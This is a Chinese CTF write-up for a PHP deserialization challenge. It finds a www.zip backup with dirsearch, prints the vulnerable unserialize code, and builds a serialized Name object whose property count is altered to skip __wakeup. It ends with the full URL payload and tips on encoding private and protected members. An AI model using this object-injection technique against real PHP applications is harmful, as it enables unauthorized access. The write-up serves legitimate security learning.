解题过程

他说了备份，直接使用dirsearch扫目录

-u后面加网站 -e后面加语言
扫到www.zip压缩包

得到源文件：
index.php包含如下代码：

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

class.php源码：

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

开始构造

• 声明一个Name类，包含username,password,且两个变量都是private修饰,整句话都有用。
• 然后根据判断句得知，username必须是admin,password必须是100所以，构造序列化

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
echo serialize($a);
?>

运行得到：O:4:”Name”:2:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;s:3:”100″;}

构造payload

http://236df315-754c-466d-8ef3-ea2a8db90a6f.node3.buuoj.cn/index.php?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}
需要把Name后面的2改成其他数字，空格的%20需要改成%00

知识拓展

只有public修饰的不用太多的修饰原生态构造就好，而private需要加%00Name%00，
protected则需要使用 %00*%00username这样的方式